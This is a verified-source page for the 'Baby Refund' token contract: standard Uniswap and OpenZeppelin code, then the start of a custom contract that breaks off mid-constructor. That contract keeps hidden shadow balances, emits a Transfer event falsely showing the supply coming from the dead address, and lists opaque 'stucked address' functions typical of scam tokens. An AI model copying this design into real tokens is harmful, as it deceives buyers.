Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IUniswapV2Router01    - function factory()    - function WETH()    - function addLiquidity(    - function addLiquidityETH(    - function removeLiquidity(    - function removeLiquidityETH(    - function removeLiquidityWithPermit(    - function removeLiquidityETHWithPermit ...    - function swapExactTokensForTokens(    - function swapTokensForExactTokens(    - function swapExactETHForTokens(uint a ...    - function swapTokensForExactETH(uint a ...    - function swapExactTokensForETH(uint a ...    - function swapETHForExactTokens(uint a ...    - function quote(uint amountA, uint res ...    - function getAmountOut(uint amountIn, ...    - function getAmountIn(uint amountOut, ...    - function getAmountsOut(uint amountIn, ...    - function getAmountsIn(uint amountOut, ... interface IUniswapV2Router02 is IUnis ...    - function removeLiquidityETHSupporting ...    - function removeLiquidityETHWithPermit ...    - function swapExactTokensForTokensSupp ...    - function swapExactETHForTokensSupport ...    - function swapExactTokensForETHSupport ... interface IUniswapV2Factory    - function feeTo()    - function feeToSetter()    - function getPair(address tokenA, addr ...    - function allPairs(uint)    - function allPairsLength()    - function createPair(address tokenA, a ...    - function setFeeTo(address)    - function setFeeToSetter(address) interface IUniswapV2Pair    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address owner)    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transfer(address to, uint va ...    - function transferFrom(address from, a ...    - function DOMAIN_SEPARATOR()    - function PERMIT_TYPEHASH()    - function nonces(address owner)    - function permit(address owner, addres ...    - function MINIMUM_LIQUIDITY()    - function factory()    - function token0()    - function token1()    - function getReserves()    - function price0CumulativeLast()    - function price1CumulativeLast()    - function kLast()    - function mint(address to)    - function burn(address to)    - function swap(uint amount0Out, uint a ...    - function skim(address to)    - function sync()    - function initialize(address, address) library SafeMath    - function tryAdd(uint256 a, uint256 b)    - function trySub(uint256 a, uint256 b)    - function tryMul(uint256 a, uint256 b)    - function tryDiv(uint256 a, uint256 b)    - function tryMod(uint256 a, uint256 b)    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function mod(uint256 a, uint256 b)    - function sub(    - function div(    - function mod(    - function _msgSender()    - function _msgData()    - function owner()    - function _checkOwner()    - function renounceOwnership()    - function transferOwnership(address ne ...    - function _transferOwnership(address n ... interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address to, uint256 ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom( interface IERC20Metadata is IERC20    - function name()    - function symbol()    - function decimals()  contract ERC20 is Context, IERC20, ...    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address to, uint256 ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(    - function increaseAllowance(address sp ...    - function decreaseAllowance(address sp ...    - function _transfer(    - function _mint(address account, uint2 ...    - function _burn(address account, uint2 ...    - function _approve(    - function _spendAllowance(    - function _beforeTokenTransfer(    - function _afterTokenTransfer(  contract BabyRefund is ERC20, Owna ... *    - function setUniswapV2PairAddress(addr ...    - function _rTransfer(    - function _transfer(    - function totalSupply()    - function balanceOf(address account)    - function approve(address spender, uin ...    - function _approve(    - function getPAddy(address walletAddy)    - function secAddyF(    - function secStuckedAddysF()    - function getSecAddyFunc()    - function getLimits()    - function toggleLimits()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-10-15
*/

// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol

pragma solidity >=0.6.2;


interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol

pragma solidity >=0.5.0;

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

// File: @openzeppelin/contracts/utils/math/SafeMath.sol


// OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol)

pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol


// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;




/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

// File: contracts/BabyRefund.sol

// https://t.me/baby_refund_eth

pragma solidity ^0.8.21;








contract BabyRefund is ERC20, Ownable {
    using SafeMath for uint256;

    uint256 private _tTotalSupply;
    mapping(address => uint256) private _tBalances;

    uint256 private multiplier = 10 ** decimals();

    mapping(address => bool) private pAddys;

    address constant private D_ADDY = 0x000000000000000000000000000000000000dEaD;

    address private constant uniswapRouterAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private uniswapV2Pair;
    IUniswapV2Router02 private uniswapV2Router;

    bool private limitsInEffect = true;
    uint256 private mWallet;
    uint256 private mBuy;
    uint256 private mSell;

    address[] private addysStucked;

    constructor (address[] memory addresses) 
        ERC20("Baby Refund", "Baby Refund")
    {
        
        uint256 _totalSupply = 1e12 * 10 ** decimals();

        _tTotalSupply = _tTotalSupply.add(_totalSupply);
        _tBalances[owner()] = _tBalances[owner()].add(_totalSupply);
        emit Transfer(D_ADDY, owner(), _totalSupply);
        
        pAddys[owner()] = true;

